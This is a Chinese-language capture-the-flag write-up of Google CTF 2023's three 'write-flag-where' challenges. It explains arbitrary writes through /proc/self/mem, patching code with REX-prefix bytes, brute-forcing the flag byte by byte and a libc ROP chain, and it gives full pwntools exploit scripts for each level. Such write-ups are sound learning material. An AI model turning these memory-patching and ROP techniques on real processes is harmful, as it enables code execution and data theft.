GoogleCTF2023复现 WRITE-FLAG-WHERE 题目描述
This challenge is not a classical pwn In order to solve it will take skills of your own An excellent primitive you get for free Choose an address and I will write what I see But the author is cursed or perhaps it’s just out of spite For the flag that you seek is the thing you will write ASLR isn’t the challenge so I’ll tell you what I’ll give you my mappings so that you’ll have a shot.
解题过程 该程序提供了一个可以任意地址写入flag的功能,于是我们思考如何才能把flag写入到一个能输出的位置即可,当我们直接通过写/proc/self/mem
文件修改内存时,不受内存页保护的限制,可以向任意地址写值。故我们向.rodata
段的字符串写flag就可以用dprintf
将其打印出来。
exp 1 2 3 4 5 6 7 8 9 from pwn import *context.clear(arch='amd64' , os='linux' , log_level='debug' ) sh = remote('wfw1.2023.ctfcompetition.com' , 1337 ) sh.recvuntil(b'have a shot.\n' ) image_addr = int (sh.recvuntil(b'-' , drop=True ), 16 ) success('image_addr: ' + hex (image_addr)) sh.sendlineafter("Send me nothing and I will happily expire\n" ,('0x%lx %u' % (image_addr+0x21e0 , 80 )).encode()) sh.interactive()
Tips 这里有个很有趣的点,导致该程序无法在本地无法调试
1 2 3 4 5 6 v9 = dup2(1 , 1337 ); v8 = open("/dev/null" , 2 ); dup2(v8, 0 ); dup2(v8, 1 ); dup2(v8, 2 ); close(v8);
这段C语言代码的作用是将标准输入、标准输出和标准错误输出重定向到 /dev/null
设备文件,实现丢弃所有的输入和输出。
将文件描述符 1(标准输出)复制到文件描述符 1337,并将文件描述符 1337 赋值给变量 v9。这一步是为了备份标准输出的文件描述符。但是本地运行还是会报错,因为本地的文件描述符(-n)的上限为1024所以这里无法有显示
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 -t: cpu time (seconds) unlimited -f: file size (blocks) unlimited -d: data seg size (kbytes) unlimited -s: stack size (kbytes) 8192 -c: core file size (blocks) 0 -m: resident set size (kbytes) unlimited -u: processes 31384 -n: file descriptors 1024 -l: locked-in-memory size (kbytes) 1013892 -v: address space (kbytes) unlimited -x: file locks unlimited -i: pending signals 31384 -q: bytes in POSIX msg queues 819200 -e: max nice 0 -r: max rt priority 0 -N 15: rt cpu time (microseconds) unlimited
用下面的命令调高上限即可有显示,但是由于关闭了输入流还是没有交互。
其实这里的1337保存的是一个设备,/dev/pts/0 是 Linux 操作系统中伪终端(pseudo terminal)的设备文件之一。它是伪终端的一个实例,用于实现终端仿真和终端会话。
1 2 3 4 ► 0x55555555532f <main+326> call dprintf@plt <dprintf@plt> fd: 0x539 (/dev/pts/0) fmt: 0x555555556050 ◂— 0x6168632073696854 ('This cha') vararg: 0x555555556050 ◂— 0x6168632073696854 ('This cha')
1 2 3 4 5 ► 0x5555555553be <main+469> call read@plt <read@plt> fd: 0x539 (/dev/pts/0) buf: 0x7fffffffda10 ◂— 0x0 nbytes: 0x40
可以看出这里都是用的该设备,远程的话就不是这个设备了
1 2 3 4 5 ► 0x56146035f368 <main+383> call dprintf@plt <dprintf@plt> fd: 0x539 (socket:[303442]) fmt: 0x5614603601e0 ◂— 'flag{sasasasa}\n' vararg: 0x5614603601e0 ◂— 'flag{sasasasa}\n'
远程是用的socket这个设备,于是就可以实现交互了
WRITE-FLAG-WHERE2 题目描述
Was that too easy? Let’s make it tough It’s the challenge from before, but I’ve removed all the fluff
解题过程 在第一题基础上把dprintf
输出字符串去掉了,但是有一处后门:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 .text:000000000000143 A .text:000000000000143 A loc_143A: ; CODE XREF: main+1 EF↑j .text:000000000000143 A 90 nop .text:000000000000143B .text:000000000000143B loc_143B: ; CODE XREF: main+24F ↑j .text:000000000000143B BF 00 00 00 00 mov edi, 0 ; status .text:0000000000001440 E8 8B FC FF FF call _exit .text:0000000000001445 ; --------------------------------------------------------------------------- .text:0000000000001445 8B 45 F4 mov eax, [rbp+var_C] .text:0000000000001448 48 8 D 15 86 0 C 00 00 lea rdx, aSomehowYouGotH ; "Somehow you got here??\n" .text:000000000000144F 48 89 D6 mov rsi, rdx ; fmt .text:0000000000001452 89 C7 mov edi, eax ; fd .text:0000000000001454 B8 00 00 00 00 mov eax, 0 .text:0000000000001459 E8 32 FC FF FF call _dprintf .text:000000000000145 E E8 CD FB FF FF call _abort
于是我们可以通过flag的开头CTF去覆盖掉call exit,去执行后门的dprintf函数,
CTF转16进制后是“\x43\x54\x46”
于是我们可以构造下面这种类型的汇编去跳过call exit
1 2 3 4 5 6 7 8 9 10 11 12 >>> disasm("\x54") ' 0: 54 push rsp' >>> disasm("\xbf\x00\x00\x00\x43") ' 0: bf 00 00 00 43 mov edi, 0x43000000' >>> disasm("\x54\x54\x54\x54\x46") ' 0: 54 push esp\n 1: 54 push esp\n 2: 54 push esp\n 3: 54 push esp\n 4: 46 inc esi '
再通过第一个题的方式输出flag
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 from pwn import *context.log_level = "DEBUG" r = remote("localhost" , 1337 ) flaglen = 13 s = r.recvuntil(b"\n\n" ).decode().splitlines()[2 :] base = None for line in s: if "chal" in line and base is None : base = int (line.split("-" )[0 ], 16 ) if "stack" in line: stack = int (line.split("-" )[1 ].split()[0 ], 16 ) print (hex (base), hex (stack))def nop2 (addr ): r.sendline(b"0x%x 2" % (addr+base)) sleep(0.1 ) for i in range (5 ): nop2(0x1443 -i) r.sendline(b"0x%x 127" % (0x20D5 +base)) sleep(0.1 ) r.sendline() r.interactive()
Tips 除了上面那个修改call exit的方法还有一种爆破的方法
通过往“0x%llx %u”这串字符串的“0”写入flag的其中一个字符,再通过第二次输入的起始来看程序是否崩溃逐位爆破
exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 from pwn import *context.clear(arch='amd64' , os='linux' , log_level='debug' ) def leak (offset, chr ): sh = remote('127.0.0.1' , 1338 ) sh.recvuntil(b'fluff\n' ) image_addr = int (sh.recvuntil(b'-' , drop=True ), 16 ) sh.recvuntil(b'\n\n\n' ) sh.send(('0x%lx %u\n' % (image_addr+0x20BC -offset, offset+1 )).encode().ljust(0x40 , b'0' )) sh.send(('%cx%lx %u\n' % (chr , image_addr, 0 )).encode().ljust(0x40 , b'0' )) try : sh.recvn(1 , timeout=1 ) sh.close() return True except EOFError: sh.close() return False table = '_{}?' + string.digits + string.ascii_lowercase + string.ascii_uppercase flag = '' while (True ): find = False for chr in table: if leak(len (flag), chr ): find = True flag += chr print (flag) break if not find: print (flag) break
WRITE-FLAG-WHERE3 题目描述
Your skills are considerable, I’m sure you’ll agree But this final level’s toughness fills me with glee No writes to my binary, this I require For otherwise I will surely expire
解题过程一 官方给的方法是下面这个
We can create a jump instruction using ‘}’ - it’s a two-byte instruction “jnp ”. We can make the second byte an unknown flag byte and prepare first an array of invalid instructions, and a nopsled afterwards. By modifying length of these two parts and checking whether we crash or not, we can brute force the flag character by character.
大概意思就是说通过flag最后的“}”转义为”\x7D”,\x7D可以转义为一个二字节的跳转指令jge,然后通过爆破法逐位爆破。
1 2 3 4 > >> disasm("\x7d\x7d" ) ' 0: 7d 7d jge 0x7f' > >> disasm("\x7d\x67" ) ' 0: 7d 67 jge 0x69'
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 from pwn import *ip = 'localhost' port = 1338 def remote_write (r,address,length ): payload = hex (address) + " " + str (length) payload += ' ' * (64 - len (payload)) assert len (payload) == 64 r.send(payload) r = remote(ip,port) sleep(1 ) output = r.recv() end_data = output[output.rfind(b"[" ):] binary_base = int (output.split(b"\n" )[5 ].split(b'-' )[0 ],16 ) libc_base = int (output.split(b"\n" )[12 ].split(b'-' )[0 ],16 ) def libc_write (r,offset,length ): remote_write(r,libc_base + offset,length) print ("Binary base" ,hex (binary_base))print ("libc base" ,hex (libc_base))exit_base = 0x455f0 first_ret = 0x45680 flag_char_map = {} flag_char_map['C' ] = 0 flag_char_map['T' ] = 1 flag_char_map['F' ] = 2 flag_char_map['{' ] = 3 def write_character (r,c,address ): if isinstance (c,int ): remote_write(r,address -c,c + 1 ) else : remote_write(r,address - flag_char_map[c],flag_char_map[c] + 1 ) def try_flag_length (r,length ): print ("Trying length" ,length) flag_char_map['}' ] = length - 1 flag_char_map['\0' ] = length for i in range (first_ret - 1 , exit_base - 1 , -2 ): write_character(r,'\0' ,libc_base + i) try : r.send("finish" ) return r.recv() except EOFError: return "fail" for i in range (46 ,0 ,-1 ): output = try_flag_length(r,i) r.close() r = remote(ip,port) new_map = r.recvuntil(end_data) libc_base = int (new_map.split(b"\n" )[12 ].split(b'-' )[0 ],16 ) print ("OUTPUT = " ,output) if output != "fail" : break else : print ("Could not get length" ) exit(1 ) print ("Length is" ,flag_char_map['\0' ])def fill_nops (r,address_start,address_end ): for i in range (address_end - 1 ,address_start - 1 ,-2 ): write_character(r,'\0' ,i) def write_bytes (r,address,array ): for i in range (len (array) - 1 ,-1 ,-1 ): write_character(r,array[i],address + i) def write_jump_snippet (r,address,c,jumpsize_test ): array = ['}' ,c] array += ['T' ] * jumpsize_test write_bytes(r,address,array) def crash_test (): try : r.send("finish" ) r.recv() r.close() return True except EOFError: return False far_ret = 0x4586b for i in range (0 ,flag_char_map['\0' ]): min = 0x20 max = 0x7f while min != max : if max - min > 1 : middle = min + ((max - min ) >> 1 ) else : middle = max try : fill_nops(r,libc_base + exit_base,libc_base + far_ret) write_jump_snippet(r,libc_base + exit_base,i,middle) except : print ("ignoring exception" ) r = remote(ip,port) new_map = r.recvuntil(end_data) libc_base = int (new_map.split(b"\n" )[12 ].split(b'-' )[0 ],16 ) continue if crash_test(): min = middle else : max = middle - 1 r = remote(ip,port) new_map = r.recvuntil(end_data) libc_base = int (new_map.split(b"\n" )[12 ].split(b'-' )[0 ],16 ) print (chr (min ))
前置知识:x64指令前缀 指令前缀占据1个字节,置于指令的操作确前,修改操作数或据作数集。指令前缀分3种类型:
遗留前缀(Legacy Prefixes):遗留前缀分为五组,每一个前缀都有一个唯一值。
寄存器扩展前缀(REX前缀 ,REX Prefixes):REX前缀能在64位模式下扩展AMD64寄存器的用法,REX前缀的值介于40h到4Fh之间,具体取值取决于所期望的特定的扩展寄存器的组合。一条指令只能有一个REX前缀,必须紧接在指令的第一个操作码字节之前。 REX前缀在其他任何位置都将被忽略。
扩展前缀(Extended Prefixes):扩展前缀提供了一种转义机制,可为具有新功能的指令打开全新的指令编码空间。目前,有两种扩展前缀VEX和XOP,VEX前缀用于编码AVX指令,XOP用于编码XOP指令。
解题过程二 在第二题的基础上又限制了不能写elf的区域,只能写堆或者libc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 while ( 1 ) { memset (buf, 0 , 64 ); v8 = read(v10, buf, 0x40 uLL); if ( (unsigned int )__isoc99_sscanf(buf, "0x%llx %u" , &addr, &n) != 2 || n > 0x7F || addr >= (unsigned __int64)main - 0x5000 && (unsigned __int64)main + 0x5000 >= addr ) { break ; } v7 = open("/proc/self/mem" , 2 ); lseek64(v7, addr, 0 ); write(v7, &flag, n); close(v7); } exit (0 );
由前置知识可知,\x43('C')
是一个REX前缀,所以当我们用\x43
覆盖某些指令时可以转义或被忽略(相当于nop)。
并且由于main函数栈顶是我们输入的数据,于是我们可以通过改变exit函数里面的push个数,使其比pop少一个,就可以将执行流重定位到我们的输入去,然后再ROP即可。
1 2 3 4 -0000000000000070 buf dq ?-0000000000000068 var_68 dq ?-0000000000000060 var_60 dq ?-0000000000000058 var_58 dq ?
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 from pwn import *local = 0 pc = './chal' aslr = True context.log_level = "debug" libc = ELF('./libc.so.6' ) elf = ELF(pc) if local == 1 : p = process(pc,aslr=aslr) else : remote_addr = ['127.0.0.1' , 1337 ] p = remote(remote_addr[0 ], remote_addr[1 ]) ru = lambda x : p.recvuntil(x) sn = lambda x : p.send(x) rl = lambda : p.recvline() sl = lambda x : p.sendline(x) rv = lambda x : p.recv(x) sa = lambda a,b : p.sendafter(a,b) sla = lambda a,b : p.sendlineafter(a,b) def lg (s,addr ): log.critical("{} -> {}" .format (s, hex (addr))) def raddr (a=6 ): if (a==6 ): return u64(rv(a).ljust(8 ,'\x00' )) else : return u64(rl().strip('\n' ).ljust(8 ,'\x00' )) def edit (addr, size ): sl('{} {}' .format (hex (addr), size)) sleep(0.5 ) if __name__ == "__main__" : ru('expire\n' ) elf_base = int (rv(12 ), 16 ) elf.address = elf_base for i in range (5 ): rl() heap_base = int (rv(12 ), 16 ) for i in range (2 ): rl() libc_base = int (rv(12 ), 16 ) libc.address = libc_base lg('elf' , elf_base) lg('heap' , heap_base) lg('libc' , libc_base) ru('\n\n\n' ) target = [(0x45607 , 1 ), (0x4560B , 1 ), (0x4560B +4 , 1 ), (0x45610 , 1 ), (0x45611 , 1 ), (0x45612 , 1 ), (0x45613 , 1 ), (0x45616 , 1 ), (0x45618 , 1 ), (0x45619 , 1 ), (0x4561a , 1 )] for x in target: edit(libc_base + x[0 ], x[1 ]) prdi = libc_base + 0x000000000002a3e5 prsi = libc_base + 0x000000000002be51 prdx_r12 = libc_base + 0x000000000011f497 write = elf_base + 0x1050 flag = elf_base + 0x50A0 rop = p64(prdi) + p64(1337 ) rop += p64(prsi) + p64(flag) rop += p64(prdx_r12) + p64(0x40 )*2 rop += p64(write) pause() sl(rop) p.interactive()
修改后的exit函数,可以看到push了两个,但是最后pop了三个,导致了执行流到了我们的输入中去了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 pwndbg> disassemble 0x7fe254845607 Dump of assembler code for function exit: 0x00007fe2548455f0 <+0>: endbr64 0x00007fe2548455f4 <+4>: push rax 0x00007fe2548455f5 <+5>: pop rax 0x00007fe2548455f6 <+6>: mov ecx,0x1 0x00007fe2548455fb <+11>: mov edx,0x1 0x00007fe254845600 <+16>: lea rsi,[rip+0x1d4231] # 0x7fe254a19838 0x00007fe254845607 <+23>: rex.XB sub r12d,0x8 0x00007fe25484560b <+27>: rex.XB cmp r13b,0xff 0x00007fe25484560f <+31>: rex.XB End of assembler dump. pwndbg> disassemble 0x7fe254845619 Dump of assembler code for function on_exit: 0x00007fe254845610 <+0>: rex.XB 0x00007fe254845611 <+1>: rex.XB 0x00007fe254845612 <+2>: rex.XB 0x00007fe254845613 <+3>: rex.XB 0x00007fe254845614 <+4>: push r12 0x00007fe254845616 <+6>: rex.XB push r11 0x00007fe254845618 <+8>: rex.XB 0x00007fe254845619 <+9>: rex.XB 0x00007fe25484561a <+10>: rex.XB je 0x7fe2548456aa <on_exit+154>
上面的是反汇编出来的,下面的是真实执行的过程的代码
1 2 3 4 5 6 7 8 9 10 11 12 0x7fe2548455f0 <exit> endbr64 0x7fe2548455f4 <exit+4> push rax 0x7fe2548455f5 <exit+5> pop rax 0x7fe2548455f6 <exit+6> mov ecx, 1 0x7fe2548455fb <exit+11> mov edx, 1 ► 0x7fe254845600 <exit+16> lea rsi, [rip + 0x1d4231] 0x7fe254845607 <exit+23> sub r12d, 8 0x7fe25484560b <exit+27> cmp r13b, 0xff 0x7fe25484560f <exit+31> push r12 0x7fe254845616 <on_exit+6> push r11 0x7fe254845618 <on_exit+8> je on_exit+154 <on_exit+154>
这是返回处
1 2 3 4 5 ► 0x7fe254845679 <on_exit+105> mov eax, r12d 0x7fe25484567c <on_exit+108> pop rbx 0x7fe25484567d <on_exit+109> pop rbp 0x7fe25484567e <on_exit+110> pop r12 0x7fe254845680 <on_exit+112> ret
前置知识:errno的设置 在系统调用执行过程中,如果出现错误,操作系统会设置全局变量 errno
来指示错误的类型。errno
是一个在 C 语言中定义的宏,它表示上一个函数调用发生的错误码。
当系统调用返回一个出错条件时,内核将特定的错误码设置到 errno
中。这个过程通常在底层系统库中完成,该库与操作系统内核进行交互。
具体的实现细节可能因操作系统和编程环境而异,但通常涉及以下步骤:
系统调用执行时,内核会检查操作的合法性和可能发生的错误情况。
如果发现错误,内核会将相应的错误码存储在当前线程的内核数据结构中(如线程控制块或线程信息块)。
在系统调用返回时,系统库会将错误码从内核数据结构复制到用户空间中的 errno
全局变量。
用户程序可以通过检查 errno
的值来确定之前的系统调用是否成功执行。如果 errno
的值不为零,表示发生了错误,可以根据 errno
的值来进一步识别和处理具体的错误类型。
解题过程三 学习了一下EX师傅的解法,学习到了很多知识。
主要思路就是通过修改write函数的第一个参数,控制输出的位置,但是控制输出的位置需要我们的fs:18(这通常是指向当前线程的线程信息块(Thread Information Block,TIB)的指针。)不为0才能跳转到后面可以修改fd的代码区域
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 .text:0000000000114A20 ; __unwind { .text:0000000000114A20 endbr64 ; Alternative name is '__write' .text:0000000000114A24 mov eax, fs:18h .text:0000000000114A2C test eax, eax .text:0000000000114A2E jnz short loc_114A40 .text:0000000000114A30 mov eax, 1 .text:0000000000114A35 syscall ; LINUX - sys_write .text:0000000000114A37 cmp rax, 0FFFFFFFFFFFFF000h .text:0000000000114A3D ja short loc_114A90 .text:0000000000114A3F retn .text:0000000000114A40 ; ----------------------------------------------------------------------- .text:0000000000114A40 .text:0000000000114A40 loc_114A40: ; CODE XREF: write+E↑j .text:0000000000114A40 sub rsp, 28h .text:0000000000114A44 mov [rsp+28h+count], rdx .text:0000000000114A49 mov [rsp+28h+buf], rsi .text:0000000000114A4E mov dword ptr [rsp+28h+fd], edi .text:0000000000114A52 call sub_90A70 .text:0000000000114A57 mov rdx, [rsp+28h+count] ; count .text:0000000000114A5C mov rsi, [rsp+28h+buf] ; buf .text:0000000000114A61 mov r8d, eax .text:0000000000114A64 mov edi, dword ptr [rsp+28h+fd] ; fd .text:0000000000114A68 mov eax, 1 .text:0000000000114A6D syscall ; LINUX - sys_write .text:0000000000114A6F cmp rax, 0FFFFFFFFFFFFF000h .text:0000000000114A75 ja short loc_114AA8
但是我们咋样才能控制fs:18不为0呢,我们无法直接控制fs:18,于是我们通过修改为fs:43去修改43位置的值即可,如何设置呢?通过errno的机制去设置,系统调用在出错设置errno时会根据errno在got里的值将出错码写入fabase+*errno_got的位置,于是我们修改errno在got表中的值为0x43就能修改fs:43的值。
然后就是去修改fd了
可以从上面的代码看出,我们需要去修改
.text:0000000000114A64 mov edi, dword ptr [rsp+28h+fd] ; fd
去达到控制fd的目的。最后通过输入去控制对应位置的值为1337即可。
达到 write(1337, &flag, n[0]);
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 from pwn import *context.clear(arch='amd64' , os='linux' , log_level='debug' ) sh = remote('127.0.0.1' , 1337 ) result = sh.recvuntil(b'.so' ).split(b'\n' )[-1 ] libc_addr = int (result[:12 ], 16 ) success('libc_addr: ' + hex (libc_addr)) sh.recvuntil(b'\n\n\n' ) pause() sh.send(('0x%lx %u\n' % (libc_addr + 0x218e10 -0x70 , 0x78 )).encode().ljust(0x40 , b'0' )) sh.send(('0x%lx %u\n' % (libc_addr + 0x218e10 , 1 )).encode().ljust(0x40 , b'0' )) sh.send(('0x%lx %u\n' % (libc_addr + 0x115110 +1 , 1 )).encode().ljust(0x40 , b'0' )) sh.send(('0x%lx %u\n' % (libc_addr + 0x114A28 , 1 )).encode().ljust(0x40 , b'0' )) sh.send(('0x%lx %u\n' % (libc_addr + 0x114A67 , 1 )).encode().ljust(0x40 , b'0' )) print (hex (0x227E60 +libc_addr))pause() sh.send(('0x%lx %u\n' % (0 , 0x70 )).encode().ljust(0x13 , b'0' ) + p32(1337 )) sh.interactive()